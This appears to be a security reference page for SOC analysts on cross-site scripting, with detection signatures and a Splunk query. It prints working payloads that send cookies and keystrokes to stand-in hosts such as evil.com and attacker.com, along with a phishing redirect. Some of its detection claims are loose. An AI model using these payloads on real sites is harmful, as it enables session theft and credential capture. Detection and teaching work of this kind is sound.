Threats

T1059.007

XSS

How Cross-Site Scripting works, the difference between reflected, stored, and DOM-based XSS, real exploitation payloads, and how SOC analysts detect XSS attacks in WAF logs and browser errors.

View on Graph

What XSS Is and the Three Variants

  • Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker injects malicious JavaScript into a web application that is then executed in the browser of another user.
  • MITRE ATT&CK maps this to T1059.007 (Command and Scripting Interpreter: JavaScript).
  • XSS exploits the trust a user places in a website.
  • Every major web application framework has XSS mitigations yet it remains in the OWASP Top 3 because input sanitization is inconsistently applied, especially in legacy applications, internal tools, and third-party widgets.

Reflected XSS (T1059.007 — most common)

How it works: The injected script is included in the request (typically in a URL parameter) and reflected back in the server’s response without proper sanitization. The victim must click a crafted link.

Example payload in URL:

https://example.com/search?q=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

Detection indicators in WAF logs:

  • URL parameter contains <script>, onerror=, javascript:, or base64-encoded JavaScript
  • Request includes alert(1), prompt(1), confirm(1) — classic XSS proof-of-concept payloads
  • URL contains HTML entity-encoded characters (e.g., &lt;script&gt; in the parameter but the browser decodes)
  • Repeated requests from the same IP to application endpoints with XSS payload variations (automated scanning)

Stored XSS

How it works: The injected script is stored on the server (in a database, comment field, user profile, forum post) and executes every time a user views the affected page. Much more dangerous than reflected XSS because no user action (clicking a link) is required.

Example payload stored in a comment field:

Great post! <img src=x onerror="fetch('https://evil.com/log?data='+btoa(document.cookie))">

Detection indicators in application logs:

  • User-generated content (comments, reviews, profile bios) containing <script>, event handlers (onerror, onload, onmouseover), or external image sources (<img src=...>) from suspicious domains
  • Multiple users reporting unexpected redirects or browser behavior on the same page
  • EDR alerts showing script execution originating from browser processes (e.g., chrome.exe spawning child processes — unusual)
  • Application error logs with content-length mismatches (stored script alters the page output)

DOM-based XSS

How it works: The vulnerability is entirely in client-side JavaScript code — the server is never directly involved. The attacker’s payload modifies the DOM (Document Object Model) through unsafe use of innerHTML, document.write, eval(), or location.hash.

Example:

// Vulnerable code — reads from URL hash and inserts directly into DOM
var name = location.hash.substring(1);
document.getElementById('greeting').innerHTML = "Welcome, " + name;

Detection indicators:

  • URL contains a hash fragment (#<script>...) — unlike reflected XSS, the server logs will not show the payload because the hash is not sent to the server
  • Client-side error monitoring (Sentry, LogRocket) shows unexpected DOM manipulation errors
  • Harder to detect from server logs — requires client-side monitoring

Detection — Real XSS Payloads in Logs

What the Payloads Actually Look Like in WAF Logs

Payload TypeExampleWAF Signature
Basic script tag<script>alert(1)</script>(?i)<script[^>]*>
Image onerror<img src=x onerror=alert(1)>(?i)onerror|onload|onfocus|onmouseover
SVG vector<svg/onload=alert(1)>(?i)<svg|onload
Body tag<body onload=alert(1)>(?i)<body[^>]*onload
JavaScript URI<a href="javascript:alert(1)">click</a>(?i)href\s*=\s*["']?\s*javascript:
Base64 encoded<img src=x onerror="eval(atob('YWxlcnQoMSk='))">(?i)atob|eval|fromCharCode
PolyglotjaVasCript:/*-/*… (bypasses multiple filters in one payload)Detects specific patterns or uses behavioral analysis
Event handler chain<input autofocus onfocus="fetch('https://evil.com')">(?i)autofocus|onfocus
Meta refresh<meta http-equiv="refresh" content="0;url=https://evil.com">(?i)<meta[^>]*refresh

SPL Query — Detect XSS in Web Logs

index=web sourcetype=access_combined
| search query=*<script>* OR query=*onerror* OR query=*javascript:* OR query=*alert(* OR query=*onload* OR query=*onfocus* OR query=*eval(* OR query=*atob(* OR query=*fromCharCode*
| rex field=query "(?<payload_type>(?:<script|onerror|javascript:|alert\(|onload|onfocus|eval\(|atob\(|fromCharCode))"
| stats count, values(client_ip) as AttackerIPs, values(payload_type) as PayloadTypes by uri_path, method, query
| where count > 1
| eval alert = "XSS attempt — " . upper(substr(PayloadTypes, 0, 1)) . substr(PayloadTypes, 2)
| table _time, client_ip, uri_path, query, PayloadTypes, count, alert

Practical XSS Exploitation Examples

Session Hijacking

Payload that steals cookies:

<script>fetch('https://attacker.com/stolen?cookie=' + document.cookie)</script>

When a victim visits a page with this stored XSS, their session cookie is sent to the attacker. The attacker copies the cookie into their browser and impersonates the victim.

Detection: Check for outbound connections from the web application server to external IPs on non-standard ports. EDR will show the browser making connections that do not correspond to any resource the page normally loads — a key insider threat indicator.

Keylogging

Payload that captures keystrokes:

<script>
document.onkeypress = function(e) {
    fetch('https://attacker.com/k', {method:'POST', body: JSON.stringify({k: e.key})});
}
</script>

Detection: Multiple HTTP POST requests from the same user to the same domain, each with a single-character payload, at human typing speed (3-8 characters per second) — data exfiltrated to C2 infrastructure.

Phishing Redirection (a common cloud threat vector)

Payload that redirects to a fake login page:

<script>window.location = 'https://login-phish-site.com/auth/';</script>

Detection: Multiple users accessing the same page and immediately redirecting to an external domain within milliseconds.


XSS Response — What to Do When Confirmed

ScenarioImmediate ActionSubsequent Action
Reflected XSS confirmedBlock the payload pattern at WAF. Remove the vulnerable input parameter from logs.Report to dev team for input sanitization fix. Test with OWASP XSS cheat sheet — stolen sessions often lead to credential stuffing.
Stored XSS confirmedImmediately remove the malicious content from the database. Invalidate all active sessions.Identify affected users. Scan other user-generated content for similar injections. Full code review.
DOM-based XSS confirmedHarder to block — requires application code fix. Apply CSP as immediate mitigation.Report to dev team. Implement CSP with strict script-src.
Payload delivered to user (victim’s session stolen)Invalidate the victim’s session. Force password reset.Review logs for post-exploitation activity. Notify the user.

Prevention

ControlWhat It PreventsHow It Works
Input sanitizationAll variantsEncode or strip HTML tags, JavaScript URIs, and event handlers from user input
Content Security Policy (CSP)XSS execution (2nd defense layer)script-src 'self' prevents inline scripts and blocks connections to unknown origins
HttpOnly cookiesSession cookie theftPrevents JavaScript from accessing session cookies
WAF rulesDetects and blocks XSS payloadsModSecurity CRS, Cloudflare WAF rules — block <script>, event handlers
Auto-escaping templatesPrevents injection at the framework levelReact, Angular, Vue auto-escape by default. Jinja2, Handlebars require explicit `
Subresource Integrity (SRI)CDN-based XSS (if CDN is compromised)Browser checks hash of loaded scripts against the integrity attribute

Sources